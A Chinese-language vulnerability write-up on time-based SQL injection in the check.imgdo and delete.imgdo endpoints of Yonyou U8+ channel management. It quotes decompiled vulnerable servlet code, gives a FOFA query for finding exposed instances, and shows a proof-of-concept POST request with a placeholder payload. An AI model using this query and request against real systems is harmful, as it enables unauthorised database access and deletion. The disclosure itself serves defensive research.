用友U8+渠道管理(高级版) check.imgdo、delete.imgdo SQL注入漏洞


漏洞简介

用友U8+是用友网络科技股份有限公司推出的企业管理综合平台,广泛应用于财务、进销存、人力资源等企业核心业务系统中。在U8+渠道管理(高级版)模块中,check.imgdo和 delete.imgdo 接口存在SQL注入漏洞。该漏洞是由于页面在处理用户输入的参数时,未对输入内容进行充分过滤与安全校验,攻击者可构造恶意SQL语句,通过HTTP请求注入至后端数据库查询中。

影响版本

V18, V16.5, V16.1, V16.0, V15.1, V15.0, V13

fofa语法

title="渠道管理(高级版)"

漏洞分析

check.imgdo

直接看 business/test/check.imgdo URL对应的servlet在web.xml中的映射

<!-- 查看图片 -->
<servlet>
    <servlet-name>CheckPicture</servlet-name>
    <servlet-class>com.gxfcsoft.framework.core.CheckPicture</servlet-class>
</servlet>
<servlet-mapping>
    <servlet-name>CheckPicture</servlet-name>
    <url-pattern>/business/test/check.imgdo</url-pattern>
</servlet-mapping>
<servlet>

跟进com.gxfcsoft.framework.core.CheckPicture 看下它的实现

package com.gxfcsoft.framework.core;

import com.alibaba.fastjson.JSONObject;
import com.gxfcsoft.framework.action.users.UserManager;
import com.gxfcsoft.framework.base.util.UserState;
import com.gxfcsoft.framework.dao.ResManager;
import com.gxfcsoft.framework.dao.common.CommonDictDao;
import java.io.BufferedReader;
import java.io.IOException;
import java.io.InputStreamReader;
import java.io.PrintWriter;
import java.sql.Connection;
import java.sql.SQLException;
import java.util.HashMap;
import java.util.Map;
import javax.servlet.ServletException;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import javax.servlet.http.HttpSession;
import org.dom4j.Element;

public class CheckPicture extends HttpServlet {
    private static final long serialVersionUID = 7086934382711881762L;

    protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
        super.doGet(req, resp);
    }

    protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
        HttpSession session = req.getSession();
        String sid = session.getId();
        UserState us = UserManager.getUserBySessionId(sid);
        Connection con = null;
        PrintWriter pw = resp.getWriter();

        try {
            con = ResManager.getConnection();
            String code = "";
            String delphotoName = "";
            BufferedReader br = new BufferedReader(new InputStreamReader(req.getInputStream(), "utf-8"));
            String line = null;
            StringBuilder sb = new StringBuilder();

            while((line = br.readLine()) != null) {
                sb.append(line);
            }

            String sdata = sb.toString();
            String[] ss = sdata.split("&");

            for(int i = 0; i < ss.length; ++i) {
                String temp = ss[i];
                String value = temp.substring(temp.indexOf("=") + 1);
                if (temp != null && temp.indexOf("_id") != -1) {
                    code = value;
                } else if (temp != null && temp.indexOf("photoName") != -1) {
                    delphotoName = value;
                }
            }

            CommonDictDao cDao = new CommonDictDao(con, us);
            String sql = "select id from arecord where code = '" + code + "'" + " and images like " + "'%" + delphotoName + "%'";
            Element eles = cDao.findOne(sql);
            String id = eles.attributeValue("id");
            String subsql = "select images,latitude,longitude,wdirection,jdirection,shootdate from photoexif where code = '" + id + "' and images like " + "'%" + delphotoName + "%'";
            Element ele = cDao.findOne(subsql);

将请求里的内容使用& 进行分割后,如果_id 存在则sql语句里的code的值就等于_id 参数的值;其次是如果存在photoName参数,那么sql语句里的delphotoName就等于参数photoName的值。而两个参数也没有经过任何过滤或校验就被直接拼接进SQL语句中,从而造成了SQL注入漏洞。

delete.imgdo

<!-- 删除图片 -->
<servlet>
    <servlet-name>DeletePictureServlet</servlet-name>
    <servlet-class>com.gxfcsoft.framework.core.DeletePictureServlet</servlet-class>
</servlet>
<servlet-mapping>
    <servlet-name>DeletePictureServlet</servlet-name>
    <url-pattern>/business/test/delete.imgdo</url-pattern>
</servlet-mapping>

跟进 com.gxfcsoft.framework.core.DeletePictureServlet 看下它的实现

package com.gxfcsoft.framework.core;

import com.gxfcsoft.framework.action.users.UserManager;
import com.gxfcsoft.framework.base.util.PathUtil;
import com.gxfcsoft.framework.base.util.UserState;
import com.gxfcsoft.framework.dao.ResManager;
import com.gxfcsoft.framework.dao.common.CommonDictDao;
import java.io.BufferedReader;
import java.io.File;
import java.io.IOException;
import java.io.InputStreamReader;
import java.io.OutputStream;
import java.sql.Connection;
import java.sql.SQLException;
import javax.servlet.ServletException;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import javax.servlet.http.HttpSession;
import org.dom4j.Element;

public class DeletePictureServlet extends HttpServlet {
    private static final long serialVersionUID = -57659135072396187L;

    protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
        HttpSession session = req.getSession();
        String sid = session.getId();
        UserState us = UserManager.getUserBySessionId(sid);
        Connection con = null;
        String message = "0";

        try {
            con = ResManager.getConnection();
            String sql = "";
            String code = "";
            String delphotoName = "";
            BufferedReader br = new BufferedReader(new InputStreamReader(req.getInputStream(), "utf-8"));
            String line = null;
            StringBuilder sb = new StringBuilder();

            while((line = br.readLine()) != null) {
                sb.append(line);
            }

            String sdata = sb.toString();
            String[] ss = sdata.split("&");

            for(int i = 0; i < ss.length; ++i) {
                String temp = ss[i];
                String value = temp.substring(temp.indexOf("=") + 1);
                if (temp != null && temp.indexOf("_id") != -1) {
                    code = value;
                } else if (temp != null && temp.indexOf("photoName") != -1) {
                    delphotoName = value;
                }
            }

            CommonDictDao cDao = new CommonDictDao(con, us);
            sql = "select id ,images from arecord where code = '" + code + "'" + " and images like " + "'%" + delphotoName + "%'";
            Element ele = cDao.findOne(sql);
            String id = ele.attributeValue("id");
            String images = ele.attributeValue("images");
            String[] imagess = images.split(";");
            String sql1 = "";
            if (imagess.length == 1) {
                sql1 = "delete arecord where id = '" + id + "'";
            } else {
                String data = images.replace(delphotoName + ";", "").replace(delphotoName, "");
                if (data.lastIndexOf(";") + 1 == data.length()) {
                    data = data.substring(0, data.lastIndexOf(";"));
                }

                sql1 = "update arecord set images = '" + data + "'" + " where id = '" + id + "'";
            }

            cDao.update(sql1);
            String subsql = "delete photoexif where code= '" + id + "' and images like '%" + delphotoName + "%'";
            cDao.update(subsql);

造成sql注入漏洞的原因还是因为处理逻辑和上面的check.imgdo 一样的问题。

漏洞复现

check.imgdo

POST /business/test/check.imgdo HTTP/1.1
Host: u8.mrxn.net
Content-Type: application/x-www-form-urlencoded

_id='_SQLI_POC-- -

成功延时 5 秒

以及参数photoName,也是延时 5秒

delete.imgdo

也是同样的延时 5 秒


手机扫码阅读

SmarBI最新权限绕过致RCE

索贝融媒体 MainServlet 反射调用致SQL注入与命令执行漏洞

评 论